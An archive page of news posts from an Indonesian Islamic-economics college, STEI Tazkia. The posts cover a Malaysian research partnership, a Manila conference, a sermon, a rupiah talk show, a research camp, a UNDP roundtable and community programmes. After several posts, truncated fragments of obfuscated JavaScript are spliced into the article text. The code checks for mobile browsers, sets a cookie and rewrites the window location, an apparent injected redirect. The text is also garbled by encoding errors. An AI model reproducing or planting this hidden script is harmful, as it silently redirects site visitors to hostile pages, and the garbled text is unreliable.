All posts tagged: Ekonomi Islam

STEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia

No comments

Gaung STEI Tazkia semakin menggema di negeri Jiran Malaysia. Pada hari Selasa, 13 November 2018, telah dilaksanakan penandatanganan kerjasama antara STEI Tazkia dan International Institute of Advanced Islamic Studies (IAIS) Malaysia. Lembaga ini merupakan lembaga penelitian tentang keagamaan Islam yang didukung penuh oleh pemerintah Malaysia.

Kerjasama meliputi bidang penelitian, seminar, publikasi dan praktik magang untuk mahasiswa Tazkia.
Kerjasama ini ditandangani oleh Prof. Mohammad Hashim Kamali (Founding CEO IAIS) dan Dr. Mukhammad Yasid (direktur Pascasarjana Tazkia).


Menariknya, kerjasama ini disaksikan langsung oleh menteri Agama Malaysia, Dr. Mujahid Yusof Rawa.
Seremoni ini dilaksanakan bertepatan dengan peringatan 10 tahun IAIS. Diperkirakan 150 orang baik akademisi, praktisi dan pemerintah yang turut hadir dalam acara ini.

Rizqi ZakiyaSTEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia
read more

Tingkatkan Kualitas Dosen, Tazkia ke Manila Pekan Depan

No comments

Sebanyak tujuh dosen STEI Tazkia akan berangkat ke Manila pekan depan mengikuti ASEAN Universities International Conference on Islamic Finance (AICIF).

Salah satu event bergengsi tingkat Asia Tenggara, ASEAN Universities International Conference on Islamic Finance (AICIF) akan memasuki tahun ke-6 tahun ini. Kampus pelopor ekonomi Islam, Sekolah Tinggi Ekonomi Islam (STEI) Tazkia akan mengirimkan tujuh dosen terbaiknya untuk mengikuti even ini.

Ketujuh dosen akan mempresentasikan penelitiannya di Manila, Filipina. Dalam rangka persiapan sebelum mengikuti AICIF yang akan diadakan pada 13 November 2018, sebanyak tiga dosen STEI Tazkia mempresentasikan penelitiannya dalam forum presentasi dosen (Monday Forum), Senin (5/11). Presentasi akan dilanjutkan oleh tiga dosen lagi di pekan depan pada jam dan tempat yang sama.

STEI Tazkia mendorong dosennya untuk mengikuti konferensi nasional dan internasional untuk memacu semangat melakukan penelitian. Tidak melulu waktunya habis untuk mengajar mahasiswa. Dosen yang aktif dalam penelitian diharapkan dapat menularkan wawasan dan semangatnya kepada mahasiswa.

Forum presentasi dosen khas STEI Tazkia, Monday Forum kali ini tidak hanya diisi oleh presentasi calon delegasi AICIF ke-6, juga menghadirkan presentasi dari laporan penelitian yang disampaikan oleh Rochania Ayu Yunanda, M.Sc (Acc) dan Pak Faried Kurnia Rahman, M.Sc (Fin).

Rochania Ayu Yunanda, M.Sc (Acc) atau yang akrab disapa Ibu Anda, berbicara tentang kesiapan perbankan syariah di Indonesia dan Malaysia dalam mengadopsi dan mengimplementasi VBI (Value Base Implementation). VBI adalah nilai bahwa bank syariah mampu memberikan pengaruh berkelanjutan bagi ekonomi dan lingkungan. Anda menyebutkan, bahwa perbankan syariah Malaysia akan mengimplementasikan VIB dilihat dari laporan keuangan tahun 2017. Sedangkan, melihat dari laporan keuangan Perbankan Syariah Indonesia tahun 2017 menunjukkan bahwa VIB sudah diterapkan walaupun tidak menggunakan istilah tersebut.

Presenter delegasi AICIF keenam hari ini adalah Grandis Imamahendra, M.Sc (Fin); Miftakhus Surur, M.Sc.; dan Nurizal Ismail, M.A. Grandis berbicara tentang perbedaan kualitas pendapatan dan tingkat kebangkrutan Perbankan Syariah Indonesia dan Malaysia antara sebelum dengan sesudah menggunakan International Financial Reporting Standard (IFRS). Hasilnya, Grandis menyebutkan bahwa ada perbedaan kualitas pendapatan pada Perbankan Syariah Malaysia antara sebelum menggunakan IFRS dengan sesudahnya sedangkan tidak ada perbedaan pada Perbankan Syariah Indonesia.

Monday Forum ke depan akan lebih banyak menghadirkan presentasi hasil presentasi dosen. Dr. Murniati Mukhlisin, M.Acc selaku ketua STEI Tazkia terus mendorong dosen-dosen untuk mengirimkan penelitiannya pada jurnal dan konferensi internasional guna meningkatkan kualitas wawasan dan pengalaman.

Miftahul AnwarTingkatkan Kualitas Dosen, Tazkia ke Manila Pekan Depan
read more

Hadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total

No comments

Bogor, Jumat, 2 November 2018 / 24 Shafar 1440. Masjid Andalusia Kampus Tazkia kehadiran Tamu Istimewa. Al Ustadz Abdul Somad, LC, M.A. hadir mengisi tabligh Akbar bersama Dr. Muhammad Syafii Antonio (Pakar Ekonomi Syariah dan Pembina Tazkia Group) dengan moderator Dai Muda Hilman Fauzi, S.E.I, M.E.Sy (Alumni Kampus Tazkia S1 & S2). Hadir ribuan jama’ah memadati acara yang disponsori oleh Jama’ah Pengajian Andalusia, Tazkia Group dan Sentul City ini.

Mengusung tema Menuju Indonesia Baru dengan Kekuatan Ekonomi Ummat. Dr. Syafi’i Antonio mengawali dengan mengungkapkan data-data penting bahwa ummat muslim Indonesia mampu bangkit jika bersatu padu bersama menghidupkan Ekonomi Syariah untuk menyokong Ekonomi Ummat. 87% ummat muslim masih mayoritas menjadi konsumen dari 13% konglomerat yang menguasai produk pokok nasional. Al Ustadz Abdul Somad pun melanjutkan pentingnya belanja di toko sekitar, milik ummat serta mempersiapkan generasi ummat yang akan memperjuangkan Ekonomi Ummat dengan Ekonomi Syariah.

Beliau juga menyerukan kepada seluruh petinggi pemerintah, yang memilki kekuasaan untuk memanfaatkan kekuasaan untuk kepentingan ummat, memperkuat praktik keuangan syariah, mendukung ekonomi masyarakat sekitar dan kebijakan positif lain yang memberikan manfaat besar untuk ummat meskipun sudah lepas dari jabatan nanti.

Kampus Tazkia berkali kali disebut oleh Al Ustadz menjadi lembaga yang siap membekali generasi muda yang akan memperjuangkan Ekonomi Syariah di masa depan. Sehingga Ummat Islam mampu menjadi tuan di Negeri sendiri dengan Ekonomi Syariah sebagai solusinya.

 

Rizqi ZakiyaHadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total
read more

Talk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!

No comments

Sentul, 6 Oktober 2018, 26 Muharram 1440 H, Pada 5 September 2018 lalu, rupiah melesu hingga mendekati angka 15 ribu rupiah dan terus menurun hingga sekarang di nilai Rp15.152,-. Peristiwa ini tentu tidak belalu begitu saja. Perbincangan demi perbincangan terjadi di dalam masyarakat karena panasnya peristiwa memprihatinkan ini tidak hanya memberikan pengaruh buruk terhadap negara, tapi juga masyarakat yang menempatinya.


Melihat keadaan ini, para calon pengurus baru angkatan 17 KSEI Progres STEI Tazkia dalam salah satu rangkaian kegiatan Open Recruitment-nya menghadirkan kegiatan talkshow nasional bertemakan a�?Rupiah Melesu? Muslim-preneur Jadi Penentu!a�? dengan harapan untuk memberikan solusi dari permasalahan yang ada ini.
KSEI Progres menghadirkan dua narasumber yang masing-masing adalah seorang yang ahli di bidangnya, untuk mengupas permasalahan melesunya rupiah ini baik dari kacamata praktisi maupun pakar keilmuan. Kedua nasasumber ini tak lain ialah Bapak Agung Prasetyo Utomo, owner dari a�?Ayam Geprek Juaraa�? yang sukses menjalankan bisnisnya dengan berlandaskan syariah, serta Bapak Hendri Tanjung MM.,M.Ag.,M.Phil.,Ph.D. yang saat ini berkarir sebagai seorang penulis sekaligus dosen pasca sarjana di UIKA.


Dalam perbincangan yang santai dengan moderator talkshow ini, Hendri Tanjung menjelaskan bahwa ada 5 hal yang membuat rupiah menjadi melesu, yaitu:
Selera masyarakat akan produk dalam negeri yang rendah.A�Banyak dari masyarat Indonesia sendiri yang lebih memilih untuk membeli barang-barang bermerk yang berasal dari luar negeri, sehingga terjadilah peningkatan impor. Suku bunga.
Pemicunya adalah karena seringnya pembelian dollar, terutama dalam transaksi impor. KetikaA�inflasi naik, nilai mata uang rupiah pun secara otomatis akan menjadi tidak seimbang, UtangA�luar nergi, Spekulasi.
Sebagai anggota masyarakat, kita bisa turut membantu dalam pemulihan rupiah dengan mengurangi pembeli barang luar negri. Tidak hanya mengaku mencintai produk sendiri, tapi juga harus membeli dan menggunakannya dalam kehidupan sehari-hari.

Adapun Agung Prasetyo dalam kesempatannya berbicara, mengutarakan bahwa dalam hidup setiap orang harus memiliki prinsip agar mencapai kesuksesan. Prinsip yang ia pegang dengan kuat adalah a�?Harta Dibawa Matia�?, karena baginya dengan harta lah kita bisa beribadah. Harta membawa kita untuk bersedekah, berinfak, dan sebagainya.
Untuk menjadi orang sukses bukanlah hal yang mudah. Agung Prasetyo menceritakan bahwa perjalanannya sejak ia mengundurkan diri dari PT. Toyota Astra Motor hingga ia bisa mengembangkan bisnis ke tingkat sekarang ini penuh dengan lika-liku. Kebangkrutan adalah salah satu rintangan yang pernah menghampiri usaha bisnisnya.
Pemilik dari rumah makan Ayam Geprek Juara ini menyatakan bahwa rumah makannya tidak menyediakan lapangan pekerjaan bagi mereka yang ingin menambah penghasilan. Lapangan pekerjaan ini disediakan untuk yang orang-orang lebih membutuhkan, seperti para pemuda tamatan SD atau SMP yang kesulitan mencari pekerjaan di tempat-tempat lain.
Setiap orang bisa memberdayakan masyarakat dengan cara membantu mereka yang kekurangan dan memperbaiki perekonomiannya. Layaknya Hendri Tanjung, Agung Prasetyo juga mengajak masyarakat Indonesia untuk mencintai dan menggunakan produk-produknya sendiri.
Bisnis rumah makan Ayam Geprek Juara memiliki tiga pilar usaha yang menyokong tegaknya bisnis ini, yaitu: berjamaah (Partial Ownership), bagi hasil (Profit Sharing), dan pemberdayaan masyarakat (Community Empowerment). Dengan pilar-pilar itulah diharapkan makna dari kata JUARA (Jaringan Usaha, Amanah, Ridho, Allah) dapat terwujud.
Prinsip-prinsip dasar kerjasama yang diterapkan dalam usaha ini disesuaikan pula dengan ketiga pilar usaha tersebut. Sehingga bisnis Ayam Geprek Juara berjalan dengan cara-cara yang sesuai dengan syariat islam.
Agung Prasetyo mengatakan bahwa sebagai seorang muslim-preneur, kita tidak boleh menyalahkan siapun jika muncul suatu permasalahan. Tapi mula-mula lakukanlah sesuatu dengan mengatur mindset kita. Jika ingin menyikapi permasalahan melemahnya rupiah, maka yang harus dilakukan adalah:
Mengadakan program cinta rupiah. Misalnya memberikan tawaran ambil makan sepuasnya dengan harga yang murah dan terjangkau.


Mencetak pengusaha tanpa modal dan mengajak masyarakat yang tidak berpendidikan untuk mulai menjadi pengusaha.
Berhenti membayar royalty.
Dengan penjelasan dan solusi-solusi yang diberikan oleh kedua narasumber, diharapkan seluruh warga Indonesia khususnya para muslim-preneur untuk turut berkontribusi dalam terwujudnya Indonesia yang lebih baik, yang salah satu caranya adalah dengan menaikkan nilai rupiah kembali.

Rizqi ZakiyaTalk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!
read more

Penandatanganan Kerjasama STEI Tazkia dan Universitas Pamulang serta Seminar Nasional Sharia Accounting Crucial To Meet Challenge of Industry 4.0

No comments

Kamis, 4 Oktober 2018 / 25 Muharram 1440 H. bertempat di Auditorium Lantai 8 Universitas Pamulang, STEI Tazkia dan Universitas Pamulang menandatanganiA�Memorandum of UnderstandingA�(MOU) kerjasama di bidang Peningkatan Aspek Tri Dharma Perguruan Tinggi dan peningkatan kualitas SDM. Kerjasama ini mencakup pengembangan pendidikan, penelitian, dan pengabdian masyarakat diantara kedua kampus. Adapun penandatanganan dilakukan oleh Rektor Universitas Pamulang Bapak Dr.H. Dayat Hidayat, MM dan Ketua STEI Tazkia Ibu Dr. Murniati Mukhlisin, M.Acc.

Penandatanganan MOU ini dilakukan bersamaan dengan diselenggakannya Seminar Nasional bertema a�?Sharia Accounting Crucial To Meet Challenge of Industry 4.0a�?, Dr. Murniati Mukhlisin menjadi narasumber dalam kegiatan ini bersama Prof. Tjiptohadi Sawarjuwono, M.Ec, Ph.D., CPA.,CA yang merupakan Guru Besar Fakultas Ekonomi Universitas Airlangga. Adapun peserta yang hadir pada kegiatan tersebut terdiri dari mahasiswa, dosen, dan civitas akademika program studi Akuntansi Universitas Pamulang serta tamu dari pihak mitra seperti Bursa Efek Indonesia, PT Zahir Internasional, STIE Banten, dan Desa Binaan Universitas Pamulang.

Pemaparan disampaikan oleh Dr. Murniati Mukhlisin, M.Acc diawali dengan perkembangan Ekonomi Syariah dibeberapa negara termasuk negara non-muslim baik di Eropa maupun Asia, pemaparan dilanjutkan dengan pengenalan Fintech termasuk keunggulan dan kelemahan serta tantangan Fintech di Indonesia. Dr. Murniati Mukhlisin menjabarkan bahwa Fintech sangat diperlukan dikarenakan penyebaran kredit Syariah saat ini hanya berpusat di Pulau Jawa dengan persentase 60%, diharapkan adanya Fintech dapat membantu perkembangan kredit Syariah hingga ke pelosok-pelosok nusantara. Pengembangan Fintech, tambah Murniati, dapat dilakukan dalam sektor ekonomi kreatif seperti halal fashion, game, dan lain sebagainya dengan tetap memperhatikan unsur Syariat Islam.

Sesi pemaparan disajikan lebih menarik oleh Murniati atau yang lebih akrab di sapa dengan Madam Ani dengan adanya hadiah bagi peserta yang dapat menjawab kuis yang diajukan beliau. Selain itu, antusiasme peserta terhadap isu hangat Fintech ini dibuktikan banyaknya pertanyaan yang masuk dari kalangan mahasiswa. Seminar ini ditutup dengan pemberian hadiah diberikan oleh Madam Ani kepada 6 orang penanya terbaik serta penjawab kuis dengan jawaban terbaik sekaligus foto bersama.

  46d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaPenandatanganan Kerjasama STEI Tazkia dan Universitas Pamulang serta Seminar Nasional Sharia Accounting Crucial To Meet Challenge of Industry 4.0
read more

LPPM STEI Tazkia berkolaburasi dengan Maybank Syariah mengadakan Exclusive Research Camp 2

No comments

Hari Kamis-Jumat 27-28 September 2018, LPPM STEI Tazkia berkolaburasi dengan Maybank Syariah Indonesia mengadakan program Exclusive Research Camp 2 yang berlangsung di Hotel Salak The Herritage, Bogor, Jawa Barat. Dalam keterangan terpisah Kepala LPPM STEI Tazkia, Ries Wulandari, MSi menegaskan beberapa tujuan program ini untuk berkontribusi pada peningkatan kualitas publikasi ilmiah dosen-dosen di Indonesia sebagai bagian dari Tri Dharma Perguruan Tinggi yaitu Penelitian dan Pengabdian kepada Masyarakat (PkM).
Hadir sebagai narasumber utama Ketua STEI Tazkia, Ibu Murniati Mukhlisin yang juga merupakan dosen senior prodi Akuntansi Islam. Narasumber utama memberikan bimbingan penulisan paper sampai dengan proses submit ke Jurnal Internasional Terindex Scopus. Selain itu, peserta juga mendapat bimbingan academic writing antara lain pengajuan proposal PhD dan naskah ilmiah yang efektif untuk conference internasional.
Narasumber lain yang hadir adalah alumni dari berbagai kampus yang berbagi tentang kehidupan selama menjadi mahasiswa di Australia, UK, dan Jepang.

Peserta mengikuti 18 jam sesi materi dengan antusias. Peserta luar berjumlah 18 orang terdiri dari dosen dari Universitas Muhammadiyah Magelang, UGM Yogyakarta, Universitas Trisakti Jakarta, STEI SEBI, Universitas Indonesia, UPN Veteran Jakarta, Universitas Pamulang dan Praktisi Perbankan dari Maybank Syariah Indonesia.

Dosen internal yang terlibat 6 orang merupakan perwakilan Prodi Ekonomi Syariah, Akuntansi Syariah , dan Bisnis Manajemen Syariah STEI Tazkia. Acara ini mendapat dukungan penuh dari Maybank Syariah Indonesia sebagai sponsor utama dan bekerjasama dengan Lembaga Penelitian dan Pengembangan Masyarakat (LPPM) STEI Tazkia. Program serupa akan digelar di bulan Oktobesr 2018 ujar Ade Juraynaldi sebagai Ketua Panitia Pelaksana.

)|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaLPPM STEI Tazkia berkolaburasi dengan Maybank Syariah mengadakan Exclusive Research Camp 2
read more

Sharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.

No comments

Jakarta, 25 September 2018 M / 15 Muharram 1440 H, United Nations Development Program (UNDP) Indonesia mengadakan Roundtable Discussion dengan Tema : “Leveraging Innovative Financing for Development: Islamic Banking & Finance for SDGs” mengundang Tazkia untuk berbagi pengalaman penerapan ekonomi dan keuangan Syariah di Indonesia. Murniati Mukhlisin, Ketua STEI Tazkia, hadir menyampaikan betapa Maqashid Syariah memilki tujuan yang sama dengan Sustainable Development Goals (SDGs) yang dituju oleh UNDP. Murniati juga menjelaskan besarnya potensi keuangan syariah di dunia. Berbagai negara di Eropa seperti Perancis, Jerman, Luxembourg, UK terlebih lagi negara Muslim seperti Iran, Malaysia, UAE, Arab Saudi dan Indonesia memiliki perhatian besar terhadap perkembangan keuangan syariah yang nampak dari pertumbuhan aset. Dengan dibentuknya Komite Nasional Keuangan Syariah, lembaga pemerintah bekerjasama untuk meningkatkan market share keuangan syariah. Walaupun termasuk penyumbang tertinggi, perbankan syariah yang saat ini masih dalam posisi 5,7% dibandingkan market share perbankan konvensional.

Inisiatif masyarkat juga muncul dalam memberikan kontribusi pada perkembengan keuangan syariah, diantaranya kontribusi Tazkia untuk mendukung konversi tidak kurang dari 15 Bank Syariah di Indonesia, memberdayakan lebih dari 10.000 kepala keluarga di Jawa Barat & NTB dengan konsep ZISWaf.
Imam Teguh Saptono (Ketua BWI), Rifki Islmail (Departemen Ekonomi dan Keuangan Syariah Bank Indonesia), Abdullah Rahman Wibowo (Dirut BNI Syariah), Ibrahim Ali Shoukry (Resident Representative dari Islamic Development Bank). Ronald Yusuf Wijaya (Ketua Umum Asosiasi Fintech Syariah Indonesia) juga hadir berbagi pengalaman penerapan keuangan syariah dalam ranah yang berbeda. Kombinasi ini menjadi masukan agar keuangan syariah di Indonesia dapat berkembang lebih baik lagi.

Dengan dukungan dari UNDP, regulator, perbankan syariah, FinTech, dunia pendidikan, dan lembaga sosial, diharapkan tujuan mulia ekonomi syariah yang juga senada dengan SDGs dapat tercapai dengan sebaik mungkin, ujar Murniati. y|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.
read more

Training of Trainer Program Karantina Quran Civitas Tazkia bersama YKTN

No comments

Dengan izin Alloh Ta’ala, STEI Tazkia bekerjasama dgn Yayasan Karantina Tahfidz Nusantara (YKTN) mengadakan Training of Trainer (TOT) Menghafal Al Quran Sebulan pada hari Senin, 3 September 2018 / 22 Dzhulhijjah 1439 H.

TOT diikuti oleh para pembina, dosen, dan manajemen STEI Tazkia dr jam 08.00 sampai 18.00

Para peserta mengikuti pelatihan dgn penuh semangat di bawah bimbingan Ust. Makmun Al Qurtubi Al Hafidz dan Ust. Yadi Al Hafidz dari YKTN Kuningan Jawa Barat.

Alhamdulillah, YKTN sejak berdiri sejak tahun 2014, telah meluluskan lebih dari 6.000 penghafal al quran dan mempunyai 69 cabang, termasuk cabang STEI Tazkia.

Materi yg dipelajari diantaranya tahsin makharijul huruf, metoda menghafal Al Quran sebulan, dan Standar Operasional Prosedur (SOP) yang telah ditetapkan dalam program YKTN.

Program menghafal Al Quran meliputi program menghafal Al Quran 1 juz sabtu-ahad, menghafal Al Quran 5 juz satu pekan, menghafal Al Quran 15 juz setengah bulan, menghafal Al Quran 30 juz sebulan, program tahsin, dll.

Semoga upaya tersebut semakin menguatkan nilai Quran di Kampus STEI Tazkia dan seluruh Civitasnya |p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaTraining of Trainer Program Karantina Quran Civitas Tazkia bersama YKTN
read more

Product Recycle dan Digital Marketing Training Pada Program Tazkia Masuk Desa

No comments

 

Tazkia Kampus Sentul, 1 September 2018.
LPPM STEI Tazkia menyelenggarakan kegiatan Tazkia Masuk Desa di kampus Sentul. Kegiatan ini dibagi menjadi dua segmen dengan peserta yang berbeda. Salah satunya adalah kegiatan yang bekerjasama dengan Smart Bank (bank sampah yang dikelola oleh Program Studi Ekonomi Syariah bersama dengan himpunan mahasiswa Prodi) dan T Smart (Tazkia Sharia Economics Department Students, Himpunan Mahasiswa Prodi Ekonomi Syariah). Keprihatinan terhadap rendahnya perhatian masyarakat terhadap pengelolaan sampah dan fakta bahwa banyak anak usia SD yang harus bekerja, diantaranya menjadi penjaja keripik singkong di sekitar STEI Tazkia, melatarbelakangi kegiatan ini.
Kegiatan ini bertajuk a�?Product Recycle and Digital Marketing Traininga�?. Objek kegiatan pengabdian untuk sesi ini adalah 20 siswa/siswi SDN Citaringgul 4. Pada sesi pertama, para peserta dipandu oleh Ibu Anita Priantina, diperkenalkan pada pentingnya pengelolaan sampah. Sesi tersebut ditutup dengan latihan mengolah sampah yang dimiliki para peserta, yaitu snack box dan gelas plastik. Sesi praktek dipandu oleh Gunawan Muhammad, salah satu pengurus Smart Bank. Dengan materi dan praktek yang dilakukan, diharapkan para peserta dapat memahami bahwa sampah dapat dimanfaatkan kembali dan didaur ulang menjadi barang baru.


Pada sesi kedua, para siswa/siswi diperkenalkan pada digital marketing. Sesi ini dipandu oleh Muhammad Rayhan dari T Smart. Tujuan dari sesi ini adalah agar para peserta memahami bahwa ada cara mudah yang bisa dilakukan untuk mencari uang, yaitu dengan berjualan secara online. Mereka juga diharapkan untuk memahami bahwa sampah yang telah diolah di sesi sebelumnya memiliki nilai ekonomi yang bisa mendatangkan keuntungan. Diharapkan bahwa di masa yang akan datang, para anak anak yang tadinya terbiasa harus berpanas hujan dalam berjualan makanan ringan di sekitar kampus Tazkia, memiliki solusi yang lebih aman dan lebih mudah untuk mencari uang. )|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaProduct Recycle dan Digital Marketing Training Pada Program Tazkia Masuk Desa
read more

Rombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia

No comments

Publikasi karya ilmiah dari hasil penelitian dan pemikiran adalah sebuah keniscayaan, ia adalah salah satu dari bukti nyata ilmu pengetahuan yang dapat diaplikasikan oleh masyarakat. Namun jika karya ilmiah tersebut hanya dipublikasikan pada kalangan internal saja tentu juga tidak menunjukan kualitas yang baik dari para penulisnya. Solusinya adalah seleksi ketat agar setiap karya ilmiah dapat diterbitkan oleh lembaga eksternal, khususnya lembaga yang memiliki kredibilitas nasional dan internasional.

Guna mencapai publikasi karya ilmiah bertaraf internasional, maka pada 9 Agustus 2018/ 27 Dzulqa’dah 1439 H, STEI Tazkia melakukan kunjungan ke kantor International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia. Rombongan kunjungan yang dipimpin langsung oleh Ketua STEI Tazkia Dr. Murniati Mukhlisin, M.Acc diterima langsung oleh Datuk Jamil selaku pejabat IIIT di kantornya komplek International Islamic University Malaysia (IIUM).
